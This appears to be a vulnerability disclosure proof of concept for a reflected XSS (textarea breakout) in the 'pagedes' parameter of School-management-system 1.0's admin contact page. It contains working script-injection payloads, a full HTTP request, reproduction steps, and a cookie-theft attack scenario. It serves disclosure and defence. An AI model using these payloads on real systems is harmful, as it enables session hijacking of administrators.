# CVE-2025-65136 — Proof of Concept

> **Warning:** This PoC is provided for educational and defensive purposes only.  
> Testing should only be performed on systems you own or have explicit written authorization to test.

---

## Vulnerability

Reflected XSS via `pagedes` POST parameter (textarea breakout) in `/studentms/admin/contact-us.php`.

---

## Environment

- **Application:** School-management-system 1.0
- **Host:** Local instance (localhost)
- **Endpoint:** `POST /studentms/admin/contact-us.php`

---

## Minimal PoC Payload

```
pagedes=</textarea><script>alert('XSS')</script>
```

---

## Full Observed HTTP Request

```http
POST /studentms/admin/contact-us.php HTTP/1.1
Host: localhost
Referer: http://localhost/studentms/
Cookie: PHPSESSID=bha7616fv3arp2rihqk3c0gq91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Connection: Keep-alive

email=schoolmanagement%40gmail.com&mobnum=1234567890&pagedes=A%20School%20Management...%26nbsp;</textarea><ScRiPt%20>hSPn(9092)</ScRiPt>&pagetitle=Contact%20Us&submit=
```

**Decoded `pagedes` value (injection portion):**
```
&nbsp;</textarea><ScRiPt >hSPn(9092)</ScRiPt>
```

---

## Reproduction Steps

1. Navigate to `http://localhost/studentms/admin/contact-us.php`.
2. Submit the contact form with the payload above in the `pagedes` field.
3. Observe the server response — the application renders the submitted value inside `<textarea>...</textarea>`.
4. The `</textarea>` in the payload prematurely closes the textarea element.
5. The subsequent `<ScRiPt>hSPn(9092)</ScRiPt>` tag is parsed as HTML and executed.

---

## How Textarea Breakout Works

**Before injection — normal server output:**
```html
<textarea name="pagedes">A School Management description here</textarea>
```

**After injection — with payload:**
```html
<textarea name="pagedes">A School Management...&nbsp;</textarea>
<ScRiPt >hSPn(9092)</ScRiPt>
```

The browser sees the `</textarea>` closing tag and ends the text area. Everything after it is parsed as HTML — including the injected `<script>` block.

---

## Observed Behavior

- The payload closes the `<textarea>` tag prematurely.
- The injected `<ScRiPt>hSPn(9092)</ScRiPt>` executes in the admin's browser.
- **Type:** Reflected (non-persistent) XSS via textarea context breakout.

---

## Attack Scenario

1. Attacker crafts a POST request or CSRF payload targeting the admin contact form with the XSS payload in `pagedes`.
2. The admin's browser executes the injected script.
3. Attacker can exfiltrate the session cookie or perform any privileged action in the admin panel.